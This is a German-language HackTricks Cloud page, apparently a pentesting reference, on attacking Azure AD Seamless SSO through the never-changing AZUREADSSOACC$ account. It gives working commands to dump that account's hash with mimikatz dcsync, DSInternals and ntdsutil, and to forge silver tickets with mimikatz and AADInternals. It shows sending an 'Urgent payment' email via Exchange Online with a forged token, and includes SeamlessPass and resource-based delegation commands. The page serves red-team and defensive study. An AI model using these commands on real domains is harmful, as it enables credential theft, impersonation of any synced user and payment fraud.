German - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Az - Seamless SSO

Support HackTricks

Grundinformationen

Aus den Dokumenten: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugriff auf Ihre cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind.

Im Grunde meldet Azure AD Seamless SSO Benutzer an, wenn sie sich auf einem lokal verbundenen PC befinden.

Es wird sowohl von PHS (Password Hash Sync) als auch von PTA (Pass-through Authentication) unterstützt.

Desktop-SSO verwendet Kerberos zur Authentifizierung. Wenn konfiguriert, erstellt Azure AD Connect ein Computer-Konto namens AZUREADSSOACC$ im lokalen AD. Das Passwort des AZUREADSSOACC$-Kontos wird im Klartext an Azure AD während der Konfiguration gesendet.

Die Kerberos-Tickets sind verschlüsselt mit dem NTHash (MD4) des Passworts, und Azure AD verwendet das gesendete Passwort, um die Tickets zu entschlüsseln.

Azure AD stellt einen Endpunkt (https://autologon.microsoftazuread-sso.com) zur Verfügung, der Kerberos Tickets akzeptiert. Der Browser des domain-verbundenen Geräts leitet die Tickets an diesen Endpunkt für SSO weiter.

On-prem -> cloud

Das Passwort des Benutzers AZUREADSSOACC$ ändert sich niemals. Daher könnte ein Domänenadministrator den Hash dieses Kontos kompromittieren und ihn dann verwenden, um silberne Tickets zu erstellen, um sich mit jedem synchronisierten lokalen Benutzer bei Azure zu verbinden:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Mit dem Hash können Sie jetzt silberne Tickets generieren:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Um das Silver Ticket zu nutzen, sollten die folgenden Schritte ausgeführt werden:

  1. Browser starten: Mozilla Firefox sollte gestartet werden.

  2. Browser konfigurieren:

  • Navigieren Sie zu about:config.

  • Setzen Sie die Präferenz für network.negotiate-auth.trusted-uris auf die angegebenen Werte:

  • https://aadg.windows.net.nsatc.net

  • https://autologon.microsoftazuread-sso.com

  1. Zugriff auf die Webanwendung:

  • Besuchen Sie eine Webanwendung, die mit der AAD-Domain der Organisation integriert ist. Ein gängiges Beispiel ist Office 365.

  1. Authentifizierungsprozess:

  • Geben Sie auf dem Anmeldebildschirm den Benutzernamen ein und lassen Sie das Passwortfeld leer.

  • Um fortzufahren, drücken Sie entweder TAB oder ENTER.

Dies umgeht MFA nicht, wenn es aktiviert ist

Option 2 ohne dcsync - SeamlessPass

Es ist auch möglich, diesen Angriff ohne einen dcsync-Angriff durchzuführen, um stealthier zu sein, wie in diesem Blogbeitrag erklärt. Dafür benötigen Sie nur eines der folgenden:

  • Ein kompromittiertes TGT eines Benutzers: Selbst wenn Sie keines haben, aber der Benutzer kompromittiert wurde, können Sie eines mit dem Fake-TGT-Delegationstrick erhalten, der in vielen Tools wie Kekeo und Rubeus implementiert ist.

  • Golden Ticket: Wenn Sie den KRBTGT-Schlüssel haben, können Sie das TGT erstellen, das Sie für den angegriffenen Benutzer benötigen.

  • NTLM-Hash oder AES-Schlüssel eines kompromittierten Benutzers: SeamlessPass kommuniziert mit dem Domänencontroller mit diesen Informationen, um das TGT zu generieren.

  • AZUREADSSOACC$-Konto NTLM-Hash oder AES-Schlüssel: Mit diesen Informationen und der Sicherheitskennung (SID) des Benutzers, den Sie angreifen möchten, ist es möglich, ein Serviceticket zu erstellen und sich mit der Cloud zu authentifizieren (wie im vorherigen Verfahren durchgeführt).

Schließlich ist es mit dem TGT möglich, das Tool SeamlessPass zu verwenden mit:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Weitere Informationen zur Konfiguration von Firefox für die nahtlose SSO-Funktion finden Sie in diesem Blogbeitrag.

Erstellen von Kerberos-Tickets für Cloud-nur-Benutzer

Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie SID für jeden Cloud-Benutzer festlegen. Auf diese Weise können Kerberos Tickets auch für Cloud-nur-Benutzer erstellt werden. Die einzige Voraussetzung ist, dass die SID eine gültige SID ist.

Das Ändern der SID von Cloud-nur-Admin-Benutzern ist jetzt von Microsoft blockiert. Für Informationen siehe https://aadinternals.com/post/on-prem_admin/

On-prem -> Cloud über ressourcenbasierte eingeschränkte Delegation

Jeder, der Computer-Konten (AZUREADSSOACC$) im Container oder in der OU, in der sich dieses Konto befindet, verwalten kann, kann eine ressourcenbasierte eingeschränkte Delegation über das Konto konfigurieren und darauf zugreifen.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Referenzen

Unterstütze HackTricks
PreviousAz - PTA - Pass-through AuthenticationNextAz - Arc vulnerable GPO Deploy Script

Last updated